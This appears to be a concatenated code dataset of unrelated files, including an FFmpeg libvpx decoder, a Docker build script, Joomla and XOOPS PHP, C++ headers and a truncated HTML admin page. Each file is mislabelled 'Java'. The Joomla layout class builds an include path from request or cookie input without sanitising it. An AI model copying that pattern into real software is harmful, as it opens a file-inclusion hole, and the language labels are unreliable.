"internal.h" typedef struct VP8DecoderContext { struct vpx_codec_ctx decoder; } VP8Context; static av_cold int vpx_init(AVCodecContext *avctx, const struct vpx_codec_iface *iface) { VP8Context *ctx = avctx->priv_data; struct vpx_codec_dec_cfg deccfg = { /* token partitions+1 would be a decent choice */ .threads = FFMIN(avctx->thread_count, 16) }; av_log(avctx, AV_LOG_INFO, "%s\n", vpx_codec_version_str()); av_log(avctx, AV_LOG_VERBOSE, "%s\n", vpx_codec_build_config()); if (vpx_codec_dec_init(&ctx->decoder, iface, &deccfg, 0) != VPX_CODEC_OK) { const char *error = vpx_codec_error(&ctx->decoder); av_log(avctx, AV_LOG_ERROR, "Failed to initialize decoder: %s\n", error); return AVERROR(EINVAL); } avctx->pix_fmt = AV_PIX_FMT_YUV420P; return 0; } static int vp8_decode(AVCodecContext *avctx, void *data, int *got_frame, AVPacket *avpkt) { VP8Context *ctx = avctx->priv_data; AVFrame *picture = data; const void *iter = NULL; struct vpx_image *img; int ret; if (vpx_codec_decode(&ctx->decoder, avpkt->data, avpkt->size, NULL, 0) != VPX_CODEC_OK) { const char *error = vpx_codec_error(&ctx->decoder); const char *detail = vpx_codec_error_detail(&ctx->decoder); av_log(avctx, AV_LOG_ERROR, "Failed to decode frame: %s\n", error); if (detail) av_log(avctx, AV_LOG_ERROR, " Additional information: %s\n", detail); return AVERROR_INVALIDDATA; } if ((img = vpx_codec_get_frame(&ctx->decoder, &iter))) { if (img->fmt != VPX_IMG_FMT_I420) { av_log(avctx, AV_LOG_ERROR, "Unsupported output colorspace (%d)\n", img->fmt); return AVERROR_INVALIDDATA; } if ((int) img->d_w != avctx->width || (int) img->d_h != avctx->height) { av_log(avctx, AV_LOG_INFO, "dimension change! %dx%d -> %dx%d\n", avctx->width, avctx->height, img->d_w, img->d_h); if (av_image_check_size(img->d_w, img->d_h, 0, avctx)) return AVERROR_INVALIDDATA; avcodec_set_dimensions(avctx, img->d_w, img->d_h); } if ((ret = ff_get_buffer(avctx, picture, 0)) < 0) return ret; av_image_copy(picture->data, picture->linesize, img->planes, img->stride, avctx->pix_fmt, img->d_w, img->d_h); *got_frame = 1; } return avpkt->size; } static av_cold int vp8_free(AVCodecContext *avctx) { VP8Context *ctx = avctx->priv_data; vpx_codec_destroy(&ctx->decoder); return 0; } #if CONFIG_LIBVPX_VP8_DECODER static av_cold int vp8_init(AVCodecContext *avctx) { return vpx_init(avctx, &vpx_codec_vp8_dx_algo); } AVCodec ff_libvpx_vp8_decoder = { .name = "libvpx", .type = AVMEDIA_TYPE_VIDEO, .id = AV_CODEC_ID_VP8, .priv_data_size = sizeof(VP8Context), .init = vp8_init, .close = vp8_free, .decode = vp8_decode, .capabilities = CODEC_CAP_AUTO_THREADS | CODEC_CAP_DR1, .long_name = NULL_IF_CONFIG_SMALL("libvpx VP8"), }; #endif /* CONFIG_LIBVPX_VP8_DECODER */ #if CONFIG_LIBVPX_VP9_DECODER static av_cold int vp9_init(AVCodecContext *avctx) { return vpx_init(avctx, &vpx_codec_vp9_dx_algo); } AVCodec ff_libvpx_vp9_decoder = { .name = "libvpx-vp9", .type = AVMEDIA_TYPE_VIDEO, .id = AV_CODEC_ID_VP9, .priv_data_size = sizeof(VP8Context), .init = vp9_init, .close = vp8_free, .decode = vp8_decode, .capabilities = CODEC_CAP_AUTO_THREADS | CODEC_CAP_EXPERIMENTAL, .long_name = NULL_IF_CONFIG_SMALL("libvpx VP9"), }; #endif /* CONFIG_LIBVPX_VP9_DECODER */
Java
// // ReadEntityBodyMode.cs // // Author: Martin Thwaites (github@my2cents.co.uk) // // Copyright (C) 2014 Martin Thwaites // // Permission is hereby granted, free of charge, to any person obtaining // a copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to // the following conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. namespace System.Web { public enum ReadEntityBodyMode { None, Classic, Bufferless, Buffered, } }
Java
#!/usr/bin/python3 # @begin:license # # Copyright (c) 2015-2019, Benjamin Niemann <pink@odahoda.de> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. # # @end:license import logging import random from . import ipc_test_pb2 from . import ipc_test logger = logging.getLogger(__name__) class IPCPerfTest(ipc_test.IPCPerfTestBase): async def test_small_messages(self): request = ipc_test_pb2.TestRequest() request.t.add(numerator=random.randint(0, 4), denominator=random.randint(1, 2)) await self.run_test(request, 5000) async def test_large_messages(self): request = ipc_test_pb2.TestRequest() for _ in range(10000): request.t.add(numerator=random.randint(0, 4), denominator=random.randint(1, 2)) await self.run_test(request, 100)
Java
VERSION = 1.0.1 all: smistrip -d MIB src-mib/nagios*.mib test: smilint -p ./MIB/NAGIOS-ROOT-MIB ./MIB/NAGIOS-NOTIFY-MIB tarball: tar cvzf nagiosmib-${VERSION}.tar.gz README CHANGES LEGAL LICENSE ./MIB/*MIB md5sum nagiosmib-${VERSION}.tar.gz > nagiosmib-${VERSION}.tar.gz.md5sum
Java
#ifndef INC_FMTLexer_hpp_ #define INC_FMTLexer_hpp_ #include <antlr/config.hpp> /* $ANTLR 2.7.7 (20130428): "format.g" -> "FMTLexer.hpp"$ */ #include <antlr/CommonToken.hpp> #include <antlr/InputBuffer.hpp> #include <antlr/BitSet.hpp> #include "FMTTokenTypes.hpp" #include <antlr/CharScanner.hpp> #include <fstream> #include <sstream> #include "fmtnode.hpp" #include "CFMTLexer.hpp" #include <antlr/TokenStreamSelector.hpp> //using namespace antlr; class CUSTOM_API FMTLexer : public antlr::CharScanner, public FMTTokenTypes { private: antlr::TokenStreamSelector* selector; CFMTLexer* cLexer; public: void SetSelector( antlr::TokenStreamSelector& s) { selector = &s; } void SetCLexer( CFMTLexer& l) { cLexer = &l; } private: void initLiterals(); public: bool getCaseSensitiveLiterals() const { return false; } public: FMTLexer(std::istream& in); FMTLexer(antlr::InputBuffer& ib); FMTLexer(const antlr::LexerSharedInputState& state); antlr::RefToken nextToken(); public: void mSTRING(bool _createToken); public: void mCSTRING(bool _createToken); public: void mLBRACE(bool _createToken); public: void mRBRACE(bool _createToken); public: void mSLASH(bool _createToken); public: void mCOMMA(bool _createToken); public: void mA(bool _createToken); public: void mTERM(bool _createToken); public: void mNONL(bool _createToken); public: void mF(bool _createToken); public: void mD(bool _createToken); public: void mE(bool _createToken); public: void mG(bool _createToken); public: void mI(bool _createToken); public: void mO(bool _createToken); public: void mB(bool _createToken); public: void mZ(bool _createToken); public: void mZZ(bool _createToken); public: void mQ(bool _createToken); public: void mH(bool _createToken); public: void mT(bool _createToken); public: void mL(bool _createToken); public: void mR(bool _createToken); public: void mX(bool _createToken); public: void mC(bool _createToken); public: void mCMOA(bool _createToken); public: void mCMoA(bool _createToken); public: void mCmoA(bool _createToken); public: void mCMOI(bool _createToken); public: void mCDI(bool _createToken); public: void mCMI(bool _createToken); public: void mCYI(bool _createToken); public: void mCSI(bool _createToken); public: void mCSF(bool _createToken); public: void mCHI(bool _createToken); public: void mChI(bool _createToken); public: void mCDWA(bool _createToken); public: void mCDwA(bool _createToken); public: void mCdwA(bool _createToken); public: void mCAPA(bool _createToken); public: void mCApA(bool _createToken); public: void mCapA(bool _createToken); public: void mPERCENT(bool _createToken); public: void mDOT(bool _createToken); public: void mPM(bool _createToken); public: void mMP(bool _createToken); protected: void mW(bool _createToken); public: void mWHITESPACE(bool _createToken); protected: void mDIGITS(bool _createToken); protected: void mCHAR(bool _createToken); public: void mNUMBER(bool _createToken); private: static const unsigned long _tokenSet_0_data_[]; static const antlr::BitSet _tokenSet_0; static const unsigned long _tokenSet_1_data_[]; static const antlr::BitSet _tokenSet_1; static const unsigned long _tokenSet_2_data_[]; static const antlr::BitSet _tokenSet_2; }; #endif /*INC_FMTLexer_hpp_*/
Java
#include "db/db.h" Database::Database() { this->records_tree_ = nullptr; } void Database::Read(DatabaseReader &reader) { this->records_tree_ = reader.ReadIndex(); } Record *Database::GetRecordsTree() const { return this->records_tree_; } void Database::SetRecordsTree(Record *records_tree) { this->records_tree_ = records_tree; }
Java
import glob import fnmatch import itertools import logging import os import re import six import sys import yaml from .dockerfile import Dockerfile from .image import ImageBuilder from .config import Config class Builder(object) : def __init__(self, config=None, **kwds) : self.logger = logging.getLogger(type(self).__name__) self.kwds = kwds self.images = {} if config is None: config = Config() config.update(dict( images= [ { 'path': 'docker/*', } ], )) self.patterns = [] for image in config['images']: # When path is provided and globbed, Dockerfile refers to its location # When path is provided but not globbed, Dockerfile refers to the current path # When Dockerfile is provided and globbed, path must not be globbed, both # refers to the current directory path = image.get('path', None) dockerfile = image.get('Dockerfile', 'Dockerfile') name = image.get('name', None) if path is None: path = '.' if '*' in path: if '*' in dockerfile: raise ValueError('Ambiguity in your configuration for %r, globbing can' 'be done either in "Dockerfile" or "path" key but not both at the' 'same time' % image) dockerfile = os.path.join(path, dockerfile) path = re.compile(re.sub('^.*/([^*]*)$', r'(?P<path>.*)/\1', dockerfile)) if name is None: name = dockerfile if '*' in name: start = re.sub('^([^*]*/|).*', r'^\1(?P<name>.*)', dockerfile) end = re.sub('^.*\*(?:|[^/]*)(/.*)$', r'\1$', dockerfile) name = re.compile(start + end) pattern = { 'name': name, 'path': path, 'Dockerfile': dockerfile, } self.patterns.append(pattern) self.config = config def get_matching_pattern(self, pattern, name, path): pattern = pattern[name] if isinstance(pattern, six.string_types): return pattern else: match = pattern.match(path) if match: return match.group(name) return None def getImage(self, image_name): try: return self.images[image_name] except KeyError: self.logger.debug('image builder cache miss, try to find it') for img_cfg in self.patterns: for path in glob.glob(img_cfg['Dockerfile']): found_image_name = self.get_matching_pattern(img_cfg, 'name', path) context_path = self.get_matching_pattern(img_cfg, 'path', path) if found_image_name == image_name: image = ImageBuilder(image_name, contextPath=context_path, dockerfile=path, tagResolver=self, **self.kwds ) self.images[image_name] = image return image raise KeyError("Cannot find image %s" % image_name) def imageTag(self, imgName) : imgBuilder = self.images.get(imgName, None) if imgBuilder : return imgBuilder.buildTag() return None def build(self, client, names=None, child_images=[]) : if isinstance(names, six.string_types): names = [names] def iter_buildable_deps(name): """ instanciates a builder for each image dependency does nothing when the image cannot be build """ for dep_name, _ in self.getImage(name).imageDeps(): try: self.getImage(dep_name) yield dep_name except KeyError: continue for name in names: if name in child_images: raise RuntimeError("dependency loop detected, %s some how depends on itself %s" % (name, ' -> '.join(child_images + [name])) ) for dep_name in iter_buildable_deps(name): self.build(client, dep_name, child_images=child_images+[name]) for name in names: self.getImage(name).build(client) def tag(self, client, tags, images, **kwds): if tags is None: tags = ['latest'] for image in images: self.getImage(image).tag(client, tags, **kwds) COMMAND_NAME='build' def add_options(parser): from . import addCommonOptions, commonSetUp from .dockerfile import addDockerfileOptions from .image import addImageOptions try: add = parser.add_argument except AttributeError: add = parser.add_option add("image", nargs="*", help="images to build") add("-t", "--tag", dest="tag", default=None, action='append', help="tag(s) to be applied to the resulting image in case of success") add("--registry", dest="registry", default=[], action='append', help="Registry on which the image should tagged (<registry>/<name>:<tag>)") addCommonOptions(parser) addDockerfileOptions(parser) addImageOptions(parser) def main(argv=sys.argv, args=None) : """ Builds a list of images """ from . import commonSetUp if not args: import argparse parser = argparse.ArgumentParser() add_options(parser) args = parser.parse_args(argv[1:]) import sys, os import yaml from docker import Client from . import commonSetUp commonSetUp(args) builder = Builder() builder.build(Client.from_env(), args.image) builder.tag(Client.from_env(), args.tag, args.image, registries=args.registry) if __name__ == "__main__" : main()
Java
<?php global $lang; global $languages; $l_top_lang_visited_pages="Najczęściej {$languages[$lang]} odwiedzane strony"; $l_page="Strona"; $l_last_update="ostatnio aktualizowane"; $l_last_visited="ostatnio odwiedzane"; $l_average_daily_visits="średnio dziennych wizyt"; $l_global_website_statistics="Całkowite statystyki serwisu"; $l_served_pages="Ten serwer serwuje średnio %.02f stron dziennie dystrybuowanych w wielu językach jak ten (wyniki w tabeli wykluczając strony main.html)&nbsp;:"; $l_language="język"; $l_percentage="procentowo"; $l_stat_graphics="Te wykresy pokazują średnią odwiedzających www.kdevelop.org"; $l_day_graphic= "Wykres dzienny"; $l_week_graphic= "Wykres tygodniowy"; $l_month_graphic="Wykres miesięczny"; $l_year_grahic= "Wykres roczny"; return include("inc/stats.php"); ?>
Java
<?php /** * * You may not change or alter any portion of this comment or credits * of supporting developers from this source code or any supporting source code * which is considered copyrighted (c) material of the original comment or credit authors. * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * * @copyright XOOPS Project (https://xoops.org) * @license GNU GPL 2 (http://www.gnu.org/licenses/old-licenses/gpl-2.0.html) * @package * @since 2.5.9 * @author Michael Beck (aka Mamba) */ require_once __DIR__ . '/../../../mainfile.php'; $op = \Xmf\Request::getCmd('op', ''); switch ($op) { case 'load': loadSampleData(); break; } // XMF TableLoad for SAMPLE data function loadSampleData() { // $moduleDirName = basename(dirname(__DIR__)); xoops_loadLanguage('comment'); $items = \Xmf\Yaml::readWrapped('quotes_data.yml'); \Xmf\Database\TableLoad::truncateTable('randomquote_quotes'); \Xmf\Database\TableLoad::loadTableFromArray('randomquote_quotes', $items); redirect_header('../admin/index.php', 1, _CM_ACTIVE); }
Java
#ifndef GAP_HPC_MISC_H #define GAP_HPC_MISC_H #include "system.h" #ifndef HPCGAP #error This header is only meant to be used with HPC-GAP #endif /**************************************************************************** ** *V ThreadUI . . . . . . . . . . . . . . . . . . . . support UI for threads ** */ extern UInt ThreadUI; /**************************************************************************** ** *V DeadlockCheck . . . . . . . . . . . . . . . . . . check for deadlocks ** */ extern UInt DeadlockCheck; /**************************************************************************** ** *V SyNumProcessors . . . . . . . . . . . . . . . . . number of logical CPUs ** */ extern UInt SyNumProcessors; /**************************************************************************** ** *V SyNumGCThreads . . . . . . . . . . . . . . . number of GC worker threads ** */ extern UInt SyNumGCThreads; /**************************************************************************** ** *F MergeSort() . . . . . . . . . . . . . . . sort an array using mergesort. ** ** MergeSort() sorts an array of 'count' elements of individual size 'width' ** with ordering determined by the parameter 'lessThan'. The 'lessThan' ** function is to return a non-zero value if the first argument is less ** than the second argument, zero otherwise. ** */ extern void MergeSort(void *data, UInt count, UInt width, int (*lessThan)(const void *a, const void *)); #endif // GAP_HPC_MISC_H
Java
// Copyright (c) 2009 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CHROME_FRAME_EXTRA_SYSTEM_APIS_H_ #define CHROME_FRAME_EXTRA_SYSTEM_APIS_H_ #include <mshtml.h> #include <shdeprecated.h> class __declspec(uuid("54A8F188-9EBD-4795-AD16-9B4945119636")) IWebBrowserEventsService : public IUnknown { public: STDMETHOD(FireBeforeNavigate2Event)(VARIANT_BOOL* cancel) = 0; STDMETHOD(FireNavigateComplete2Event)(VOID) = 0; STDMETHOD(FireDownloadBeginEvent)(VOID) = 0; STDMETHOD(FireDownloadCompleteEvent)(VOID) = 0; STDMETHOD(FireDocumentCompleteEvent)(VOID) = 0; }; class __declspec(uuid("{87CC5D04-EAFA-4833-9820-8F986530CC00}")) IWebBrowserEventsUrlService : public IUnknown { public: STDMETHOD(GetUrlForEvents)(BSTR* url) = 0; }; class __declspec(uuid("{3050F804-98B5-11CF-BB82-00AA00BDCE0B}")) IWebBrowserPriv : public IUnknown { public: STDMETHOD(NavigateWithBindCtx)(VARIANT* uri, VARIANT* flags, VARIANT* target_frame, VARIANT* post_data, VARIANT* headers, IBindCtx* bind_ctx, LPOLESTR url_fragment); STDMETHOD(OnClose)(); }; class IWebBrowserPriv2Common : public IUnknown { public: STDMETHOD(NavigateWithBindCtx2)(IUri* uri, VARIANT* flags, VARIANT* target_frame, VARIANT* post_data, VARIANT* headers, IBindCtx* bind_ctx, LPOLESTR url_fragment); }; class IWebBrowserPriv2CommonIE9 : public IUnknown { public: STDMETHOD(NavigateWithBindCtx2)(IUri* uri, VARIANT* flags, VARIANT* target_frame, VARIANT* post_data, VARIANT* headers, IBindCtx* bind_ctx, LPOLESTR url_fragment, DWORD unused1); }; interface __declspec(uuid("3050f801-98b5-11cf-bb82-00aa00bdce0b")) IDocObjectService : public IUnknown { STDMETHOD(FireBeforeNavigate2)(IDispatch* dispatch, LPCTSTR url, DWORD flags, LPCTSTR frame_name, BYTE* post_data, DWORD post_data_len, LPCTSTR headers, BOOL play_nav_sound, BOOL* cancel) = 0; STDMETHOD(FireNavigateComplete2)(IHTMLWindow2* html_window2, DWORD flags) = 0; STDMETHOD(FireDownloadBegin)() = 0; STDMETHOD(FireDownloadComplete)() = 0; STDMETHOD(FireDocumentComplete)(IHTMLWindow2* html_window2, DWORD flags) = 0; STDMETHOD(UpdateDesktopComponent)(IHTMLWindow2* html_window2) = 0; STDMETHOD(GetPendingUrl)(BSTR* pending_url) = 0; STDMETHOD(ActiveElementChanged)(IHTMLElement* html_element) = 0; STDMETHOD(GetUrlSearchComponent)(BSTR* search) = 0; STDMETHOD(IsErrorUrl)(LPCTSTR url, BOOL* is_error) = 0; }; interface __declspec(uuid("f62d9369-75ef-4578-8856-232802c76468")) ITridentService2 : public IUnknown { STDMETHOD(FireBeforeNavigate2)(IDispatch* dispatch, LPCTSTR url, DWORD flags, LPCTSTR frame_name, BYTE* post_data, DWORD post_data_len, LPCTSTR headers, BOOL play_nav_sound, BOOL* cancel) = 0; STDMETHOD(FireNavigateComplete2)(IHTMLWindow2*, uint32); STDMETHOD(FireDownloadBegin)(VOID); STDMETHOD(FireDownloadComplete)(VOID); STDMETHOD(FireDocumentComplete)(IHTMLWindow2*, uint32); STDMETHOD(UpdateDesktopComponent)(IHTMLWindow2*); STDMETHOD(GetPendingUrl)(uint16**); STDMETHOD(ActiveElementChanged)(IHTMLElement*); STDMETHOD(GetUrlSearchComponent)(uint16**); STDMETHOD(IsErrorUrl)(uint16 const*, int32*); STDMETHOD(AttachMyPics)(VOID *, VOID**); STDMETHOD(ReleaseMyPics)(VOID*); STDMETHOD(IsGalleryMeta)(int32, VOID*); STDMETHOD(EmailPicture)(uint16*); STDMETHOD(FireNavigateError)(IHTMLWindow2*, uint16*, uint16*, uint32, int*); STDMETHOD(FirePrintTemplateEvent)(IHTMLWindow2*, int32); STDMETHOD(FireUpdatePageStatus)(IHTMLWindow2*, uint32, int32); STDMETHOD(FirePrivacyImpactedStateChange)(int32 privacy_violated); STDMETHOD(InitAutoImageResize)(VOID); STDMETHOD(UnInitAutoImageResize)(VOID); }; #define TLEF_RELATIVE_INCLUDE_CURRENT (0x01) #define TLEF_RELATIVE_BACK (0x10) #define TLEF_RELATIVE_FORE (0x20) #endif
Java
<?php /** * @package Expose * @version 3.0.1 * @author ThemeXpert http://www.themexpert.com * @copyright Copyright (C) 2010 - 2011 ThemeXpert * @license http://www.gnu.org/licenses/gpl-3.0.html GNU/GPLv3 * @file layout.php **/ //prevent direct access defined ('EXPOSE_VERSION') or die ('resticted aceess'); //import joomla filesystem classes jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); class ExposeLayout { protected $modules = array(); protected $widgets = array(); protected $activeWidgets = array(); public function __construct() { //load all widgets in an array and trigger the initialize event for those widgets. $this->loadWidgets(); } public static function getInstance() { static $instance; if(!isset($instance)) { $instance = New ExposeLayout; } return $instance; } public function countModules($position) { //check if the module schema already exist for this position return it back. //if not exist set if first if(!isset($this->modules[$position]['schema'])) { $this->setModuleSchema($position); } $published = 0; //check orphan module position which have nos subset. if($this->countModulesForPosition($position) OR $this->countWidgetsForPosition($position)) { //set this position in active array record $this->modules[$position]['active'][] = $position; $published ++; $this->modules[$position]['published'] = $published; return TRUE; } //loop through all module-position(eg: roof-1, roof-2) and set the total published module num. foreach($this->modules[$position]['schema'] as $num => $v) { $positionName = ($position . '-' . $num) ; if($this->countModulesForPosition($positionName) OR $this->countWidgetsForPosition($positionName)) { //set this position in active array record $this->modules[$position]['active'][] = $positionName; $published ++; } } $this->modules[$position]['published'] = $published; if($published > 0) return TRUE; return FALSE; } public function renderModules($position) { global $expose; $totalPublished = $this->modules[$position]['published']; $i = 1; if($totalPublished > 0 AND isset($this->modules[$position]['active'])) { $widths = $this->getModuleSchema($position); $containerClass = 'ex-column'; foreach($this->getActiveModuleLists($position) as $positionName) { //$totalModulesInPosition = $this->countModulesForPosition( $positionName ); $width = array_shift($widths); $class = ''; $html = ''; //we'll make all width 100% for mobile device if($expose->platform == 'mobile'){ $width = 100; } if($i == 1) $class .= 'ex-first '; if($i == $totalPublished){ $class .= 'ex-last '; } $class .= ($i%2) ? 'ex-odd' : 'ex-even'; if($i == ($totalPublished -1)) $class .= ' ie6-offset'; $style = "style=\"width: $width%\" "; if(count($this->modules[$position]['schema']) == 1) $style = ''; //Exception for single module position //we'll load all widgets first published in this position if($this->countWidgetsForPosition($positionName)) { foreach($this->activeWidgets[$positionName] as $widget) { $name = 'widget-' . $widget->name; $html .= "<div class=\"ex-block ex-widget no-title column-spacing $name clearfix\">"; $html .= "<div class=\"ex-content\">"; $html .= $widget->render(); $html .= "</div>"; $html .= "</div>"; } } $modWrapperStart = "<div class=\"$containerClass $class $positionName\" $style>"; $modWrapperEnd = "</div>"; //now load modules content $chrome = $this->getModuleChrome($position,$positionName); $html .= '<jdoc:include type="modules" name="'.$positionName.'" style="'.$chrome.'" />'; echo $modWrapperStart . $html . $modWrapperEnd; $i++; } } } protected function setModuleSchema($position) { global $expose; $values = $expose->get($position); $values = explode(',', $values); foreach($values as $value) { list($i, $v) = explode(':', "$value:"); $this->modules[$position]['schema'][$i][] = $v; } } public function getModuleSchema($position) { if(!isset($this->modules[$position])) { return; } $published = $this->modules[$position]['published']; //return module schema based on active modules return $this->modules[$position]['schema'][$published]; } public function getModuleChrome($position, $module) { if(!isset($this->modules[$position]['chrome'])) { $this->setModuleChrome($position); } return $this->modules[$position]['chrome'][$module]; } protected function setModuleChrome($position) { global $expose; $fieldName = $position . '-chrome'; $data = $expose->get($fieldName); $data = explode(',', $data); foreach($data as $json) { list($modName, $chrome) = explode(':',$json); $this->modules[$position]['chrome'][$modName] = $chrome; } } public function getActiveModuleLists($position) { //return active module array associate with position return $this->modules[$position]['active']; } public function getWidget($name) { if(isset($this->widgets[$name])) { return $this->widgets[$name]; } return FALSE; } public function getWidgetsForPosition($position) { if(!isset($this->widgets)) { $this->loadWidgets(); } $widgets = array(); foreach($this->widgets as $name => $instance) { if($instance->isEnabled() AND $instance->isInPosition($position) AND method_exists($instance, 'render')){ $widgets[$name] = $instance; } } return $widgets; } public function countWidgetsForPosition($position) { global $expose; $count = 0; $this->activeWidgets[$position] = array(); if($expose->platform == 'mobile') { foreach($this->getWidgetsForPosition($position) as $widget) { if($widget->isInMobile()) { if(!in_array($widget, $this->activeWidgets[$position])) { $this->activeWidgets[$position][] = $widget; } $count++ ; } } }else{ foreach ($this->getWidgetsForPosition($position) as $widget) { if(!in_array($widget, $this->activeWidgets[$position])) { $this->activeWidgets[$position][] = $widget; } $count++; } } return $count; //return count($this->getWidgetsForPosition($position)); } public function countModulesForPosition($position) { global $expose; $parentField = substr($position,0,strpos($position,'-')); //split the number and get the parent field name if($expose->platform == 'mobile') { if($expose->get($parentField.'-mobile')) { return $expose->document->countModules($position); }else{ return FALSE; } } return $expose->document->countModules($position); } protected function loadWidgets() { global $expose; //define widgets paths $widgetPaths = array( $expose->exposePath . DS . 'widgets', $expose->templatePath . DS .'widgets' ); $widgetLists = array(); //first loop through all the template and framework path and take widget instance foreach($widgetPaths as $widgetPath) { $widgets = JFolder::files($widgetPath, '.php'); if(is_array($widgets)) { foreach($widgets as $widget) { $widgetName = JFile::stripExt($widget); $path = $widgetPath . DS . $widgetName .'.php'; $widgetLists[$widgetName] = $path; } } } ksort($widgetLists); foreach($widgetLists as $name => $path) { $className = 'ExposeWidget'. ucfirst($name); if(!class_exists($className) AND JFile::exists($path)) { require_once($path); if(class_exists($className)) { $this->widgets[$name] = new $className(); } } } //now initialize the widgets which is not position specific foreach($this->widgets as $name => $instance) { //we'll load the widgets based on platform permission if($expose->platform == 'mobile') { if($instance->isEnabled() AND $instance->isInMobile() AND method_exists($instance , 'init')) { $instance->init(); } }else{ if($instance->isEnabled() AND method_exists($instance, 'init')) { $instance->init(); } } } } public function renderBody() { global $expose; $layouts = (isset ($_COOKIE[$expose->templateName.'_layouts'])) ? $_COOKIE[$expose->templateName.'_layouts'] : $expose->get('layouts'); if(isset ($_REQUEST['layouts'])){ setcookie($expose->templateName.'_layouts',$_REQUEST['layouts'],time()+3600,'/'); $layouts = $_REQUEST['layouts']; } $bPath = $expose->exposePath . DS . 'layouts'; $tPath = $expose->templatePath . DS .'layouts'; $ext = '.php'; if( $expose->platform == 'mobile' ) { $device = strtolower($expose->browser->getBrowser()); $bfile = $bPath .DS . $device . $ext; $tfile = $tPath .DS . $device . $ext; if($expose->get('iphone-enabled') AND $device == 'iphone') { $this->loadFile(array($tfile,$bfile)); }elseif($expose->get('android-enabled') AND $device == 'android'){ $this->loadFile(array($tfile,$bfile)); }else{ return FALSE; } }else{ $bfile = $bPath .DS . $layouts . $ext; $tfile = $tPath .DS . $layouts . $ext; $this->loadFile(array($tfile,$bfile)); } } public function loadFile($paths) { if(is_array($paths)) { foreach($paths as $path) { if(JFile::exists($path)){ require_once($path); break; } } }else if(JFile::exists($paths)) { require_once ($paths); }else{ JError::raiseNotice(E_NOTICE,"No file file found on given path $paths"); } } public function getModules() { return $this->modules; } }
Java
<!doctype html> <html> <head> <meta charset="UTF-8"> <title>首页-灰绿色主题</title> <link href="../css/style.css" rel="stylesheet" type="text/css"> <script src="../js/jQuery.js" type="text/javascript"></script> <script src="../js/common.js" type="text/javascript"></script> <script src="../js/model/WdatePicker/WdatePicker.js" type="text/javascript"></script> <script src="../js/utils.js" type="text/javascript"></script> <script src="../js/model/highcharts/highcharts.js"></script> </head> <body> <div class="layout_header"> <div class="header"> <div class="h_logo"><a href="#" title="101网校课程管理系统"><img src="../images/qaup_logo.png" width="130" height="40" alt=""/></a></div> <div class="h_nav"> <span class="hi"><img src="../images/head_default.jpg" alt="id"/> 欢迎你,管理员!</span><span class="link"><a href="#"><i class="icon16 icon16-setting"></i> 设置</a><a href="#"><i class="icon16 icon16-power"></i> 注销</a></span> </div> <div class="clear"></div> </div> </div> <div class="layout_leftnav"> <div class="inner"> <div class="nav-vertical"> <ul class="accordion"> <li><a href="#"><i class="icon20 icon20_index"></i>信息管理<span></span></a> <ul class="sub-menu"> <li><a href="/mySchool/web/courseList.html">课程管理</a></li> <li><a href="/mySchool/web/teacherList.html">教师管理</a></li> <li><a href="/mySchool/web/studentList.html">学生管理</a></li> <li><a href="/mySchool/web/financeList.html" class="active">财务管理</a></li> </ul> </li> </ul> </div> </div> </div> <div class="layout_rightmain"> <div class="inner"> <div class="pd10x20"> <div class="page-title mb20"> <i class="i_icon"></i><label id="teacher_name">Male</label> </div> <div class="panel"> <div class="panel-tab pd10"> <ul> <li class="active" id="a1" onclick="setTab('a', 1, 3)">课程表</li> <li id="a2" onclick="setTab('a', 2, 3)">年级分布</li> <li id="a3" onclick="setTab('a', 3, 3)">课时费</li> <div class="clear"></div> </ul> </div> <div class="panel-main pd10"> <div id="con_a_1" style="width: 1000px;" class="hover" > <div class="panel-header"> <div><a href="#" class="btn btn-primary" onclick="downloadCourse()">下载</a></div> </div> <table class="table table-striped"> <thead> <tr> <th >学生</th> <th >年级</th> <th >科目</th> <th >课时长</th> <th >上课时间</th> <th >教室</th> </tr> </thead> <tbody id = "couse_list_tbody"> </tbody> </table> </div> <div id="con_a_2" style="display:none; width: 1000px;" ></div> <div id="con_a_3" style="display:none; width: 1000px;" > <table class="table table-striped"> <thead> <tr> <th >年级</th> <th >课时费/时</th> </tr> </thead> <tbody id = "cost_list_tbody"> </tbody> </table> </div> </div> </div> </div> </div> </div> </body> <script type="text/javascript"> var teacherId = ''; var startTimeStr = ''; var endTimeStr = ''; var gradeSet = new Array(); var gradeNameArray = new Array(); var gradeIdNum = new Array(); window.onload = function() { teacherId = getQuery("teacherId"); startTimeStr = getQuery("startTimeStr"); endTimeStr = getQuery("endTimeStr"); initGradeSet(); var teacherUrl = "/mySchool/office/getTeacherById.action"; var params = "teacherId=" + teacherId; var teacherJson = ajaxQuery(teacherUrl, params); this.document.getElementById("teacher_name").innerHTML = teacherJson.data.teacherList[0].name; fillCourseTable(teacherId, startTimeStr, endTimeStr); drawGradeImg(); initFinanceList(); } function initGradeSet() { var gradeUrl = "/mySchool/office/getGradeList.action"; var gradeListJson = ajaxQuery(gradeUrl, null); var row_length = gradeListJson.data.size; for (var i = 0; i < row_length; i++) { 